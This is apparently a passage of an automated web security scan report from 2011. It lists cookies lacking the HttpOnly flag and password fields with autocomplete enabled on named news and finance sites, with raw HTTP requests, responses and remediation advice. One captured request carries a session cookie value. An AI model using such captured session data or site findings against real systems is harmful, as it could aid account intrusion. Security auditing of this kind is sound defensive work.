Referer: http://www.dinse.com/publications.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.12.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:32:57 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:57 GMT; path=/
Content-Length: 31788

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Publications</title>
<meta http-equiv="Content-Type
...[SNIP]...

15.110. http://www.gomeznetworks.com/css/GomezTheme.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/css/GomezTheme.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=ZXLZXXS10.0.61.98CKKUL; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /css/GomezTheme.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.gomeznetworks.com

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=ZXLZXXS10.0.61.98CKKUL; path=/
Content-Length: 25942
Content-Type: text/css
Last-Modified: Fri, 29 Apr 2011 21:36:50 GMT
Accept-Ranges: bytes
ETag: "ffb55e8cb56cc1:dc2"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:42:08 GMT

....theme
{
min-width: 980px;
width: expression(document.body.clientWidth < 980 ? "980px" : "auto");
margin: 0px 0px 0px 0px;
}

.header
{
min-width: 980px;
width: expression(
...[SNIP]...

15.111. http://www.gomeznetworks.com/images/theme/compuware_gomez_logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/images/theme/compuware_gomez_logo.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=ZXLZXXS10.0.61.97CKKUY; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/theme/compuware_gomez_logo.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.gomeznetworks.com

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=ZXLZXXS10.0.61.97CKKUY; path=/
Cache-Control: max-age=86400
Content-Length: 13069
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2011 21:36:25 GMT
Accept-Ranges: bytes
ETag: "7c2f8b7db56cc1:e0e"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:42:09 GMT

.PNG
.
...IHDR.......0......Z.V... pHYs................NiCCPPhotoshop ICC profile..x..Yi8...^...9.p...y..2...!..1.q.TJ.P.BH...". DH."I.Q....C=......../..a_.u......}........h.. &6..jm&...+N...0@...
...[SNIP]...

15.112. http://www.gomeznetworks.com/images/theme/platform_theme.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/images/theme/platform_theme.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=ZXLZXXS10.0.61.99CKKWI; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/theme/platform_theme.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.gomeznetworks.com

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=ZXLZXXS10.0.61.99CKKWI; path=/
Cache-Control: max-age=86400
Content-Length: 11596
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2011 21:36:25 GMT
Accept-Ranges: bytes
ETag: "27cd887db56cc1:a6c"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:42:09 GMT

.PNG
.
...IHDR...............8_... pHYs...............
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

15.113. http://www.gomeznetworks.com/tempstyle.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/tempstyle.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=ZXLZXXS10.0.61.99CKKWI; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tempstyle.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.gomeznetworks.com

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=ZXLZXXS10.0.61.99CKKWI; path=/
Cache-Control: max-age=3600
Content-Length: 14766
Content-Type: text/css
Last-Modified: Fri, 29 Apr 2011 21:37:01 GMT
Accept-Ranges: bytes
ETag: "f5f46193b56cc1:a6c"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:42:06 GMT

BODY
{
margin-top: 0px;
margin-left: 0px;
margin-right: 0px;
min-height: 100%;
/*BACKGROUND-COLOR: #ffffff;*/
/*background: #e6e6e6 url(/images/navigation/content_area_
...[SNIP]...

15.114. http://www.marketwatch.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
Set-Cookie: mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp04
Date: Sat, 14 May 2011 10:12:49 GMT
Content-Length: 244138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...

15.115. http://www.mcafeesecure.com/RatingVerify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/RatingVerify

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

resin=1707762186.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /RatingVerify?cb=lp HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.116. http://www.mcafeesecure.com/ads/1103/2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/ads/1103/2

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

adclick=1103-2; domain=.mcafeesecure.com; path=/; expires=Sat, 11-Jun-2011 12:52:27 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.117. http://www.scanalert.com/RatingVerify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.scanalert.com
Path:	/RatingVerify

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

resin=1724539402.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /RatingVerify?cb=lp HTTP/1.1
Host: www.scanalert.com
Proxy-Connection: keep-alive
Referer: http://server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 301 Moved Permanently
Server: McAfeeSecure
Location: http://www.mcafeesecure.com/RatingVerify?cb=lp
Content-Length: 0
Connection: close
Date: Sat, 14 May 2011 12:52:09 GMT
Set-Cookie: resin=1724539402.20480.0000; path=/

15.118. http://www.smartmoney.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

djcs_route=02fb002c-b936-4695-85ac-26f056fb68c4; domain=.smartmoney.com; path=/; Expires=Tue May 11 06:13:34 2021; max-age=315360000

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

16. Password field with autocomplete enabled previous next
There are 49 instances of this issue:

http://commerce.wsj.com/auth/login
http://commerce.wsj.com/auth/login
http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html
http://online.barrons.com/article/barrons_take.html
http://online.barrons.com/home-page
http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html
http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html
http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html
http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html
http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html
http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html
http://online.wsj.com/home-page
http://online.wsj.com/home-page
http://online.wsj.com/public/page/news-career-jobs.html
http://online.wsj.com/public/page/news-economy.html
http://online.wsj.com/public/page/news-real-estate-homes.html
https://order.wsj.com/sub/f3
http://realestate.wsj.com/for-sale/us/10010
http://realestate.wsj.com/for-sale/us/10010
http://realestate.wsj.com/item/822547
http://realestate.wsj.com/item/822547
http://topics.barrons.com/person/S/michael-santoli/6041
http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js
http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
http://twitter.com/
http://twitter.com/
http://twitter.com/
http://twitter.com/WSJHouse
http://www.fins.com/
http://www.fins.com/Job-Interview-Tips
http://www.fins.com/Tour.aspx
http://www.marketwatch.com/
http://www.marketwatch.com/
http://www.marketwatch.com/
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

16.1. http://commerce.wsj.com/auth/login previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://commerce.wsj.com
Path:	/auth/login

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:04 GMT
Server: Apache
Accept-Ranges: bytes
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 34176

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<div class="fr_formElements">

<form action="/auth/submitlogin" method="post" accept-charset="utf-8">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="password" maxlength="30" value="" id="password" class="text" size="20" />
</div>
...[SNIP]...

16.2. http://commerce.wsj.com/auth/login previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://commerce.wsj.com
Path:	/auth/login

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordconfirmReg

Request

Response

16.3. http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/SB50001424052970203286304576313262992330454.html

Issue detail

The page contains a form with the following action URL:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.4. http://online.barrons.com/article/barrons_take.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/barrons_take.html

Issue detail

The page contains a form with the following action URL:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.5. http://online.barrons.com/home-page previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/home-page

Issue detail

The page contains a form with the following action URL:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.6. http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576313682030967852.html

Issue detail

The page contains a form with the following action URL:

http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

16.7. http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576313682030967852.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:34:55 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Sat 05/14/11 - 00:07:07 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:35:10 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 184798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

16.8. http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576317293981683266.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:55:10 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep05 - Fri 05/13/11 - 15:25:02 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:55:25 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 136637

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

16.9. http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576317293981683266.html

Issue detail

The page contains a form with the following action URL:

http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

16.10. http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576314083707711492--LESS.html

Issue detail

The page contains a form with the following action URL:

http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:53:53 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep06 - Sat 05/14/11 - 06:49:36 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:54:08 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 140646

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</div>

<form name="freeRegistration_form" id="freeRegistration_form" action="" method="post" accept-charset="utf-8" onsubmit="return false;">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="passwordReg" value="" id="passwordReg" maxlength='15' class="text" />
</div>
...[SNIP]...
</label>

<input type="password" name="passwordConfirmationReg" value="" id="passwordConfirmationReg" maxlength='15' class="text" />
</div>
...[SNIP]...

16.11. http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576314083707711492--LESS.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.12. http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576321552255041680.html

Issue detail

The page contains a form with the following action URL:

http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

16.13. http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576321552255041680.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.14. http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576315662838806984.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.15. http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576315662838806984.html

Issue detail

The page contains a form with the following action URL:

http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

16.16. http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576319301584731990.html

Issue detail

The page contains a form with the following action URL:

http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

16.17. http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576319301584731990.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.18. http://online.wsj.com/home-page previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/home-page

Issue detail

The page contains a form with the following action URL:

http://online.wsj.com/home-page

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:03 GMT
Server: Apache/2.0.58 (Unix)
Set-Cookie: djcs_route=e3d83c8b-1ab1-48e1-816c-23e200bad9cc; domain=.wsj.com; path=/; Expires=Tue May 11 06:09:03 2021; max-age=315360000
Set-Cookie: DJSESSION=ORCS%3dna%2cus; path=/; domain=.wsj.com
Set-Cookie: DJCOOKIE=ORC%3dna%2cus; path=/; domain=.wsj.com; expires=Sun, 13-May-2012 10:09:03 GMT
Set-Cookie: wsjregion=na%2cus; path=/; domain=.wsj.com
Cache-Control: no-cache, no-store
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 06:03:37 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:09:18 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 160468

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</div>

<form name="freeRegistration_form" id="freeRegistration_form" action="" method="post" accept-charset="utf-8" onsubmit="return false;">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="passwordReg" value="" id="passwordReg" maxlength='15' class="text" />
</div>
...[SNIP]...
</label>

<input type="password" name="passwordConfirmationReg" value="" id="passwordConfirmationReg" maxlength='15' class="text" />
</div>
...[SNIP]...

16.19. http://online.wsj.com/home-page previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/home-page

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.20. http://online.wsj.com/public/page/news-career-jobs.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-career-jobs.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.21. http://online.wsj.com/public/page/news-economy.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-economy.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.22. http://online.wsj.com/public/page/news-real-estate-homes.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-real-estate-homes.html

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.23. https://order.wsj.com/sub/f3 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://order.wsj.com
Path:	/sub/f3

Issue detail

The page contains a form with the following action URL:

https://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.24. http://realestate.wsj.com/for-sale/us/10010 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/for-sale/us/10010

Issue detail

The page contains a form with the following action URL:

http://realestate.wsj.com/for-sale/us/10010?sid=56936

The form contains the following password fields with autocomplete enabled:

passwordReg
passwordConfirmationReg

Request

Response

16.25. http://realestate.wsj.com/for-sale/us/10010 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/for-sale/us/10010

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.26. http://realestate.wsj.com/item/822547 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/item/822547

Issue detail

The page contains a form with the following action URL:

http://realestate.wsj.com/item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1

The form contains the following password fields with autocomplete enabled:

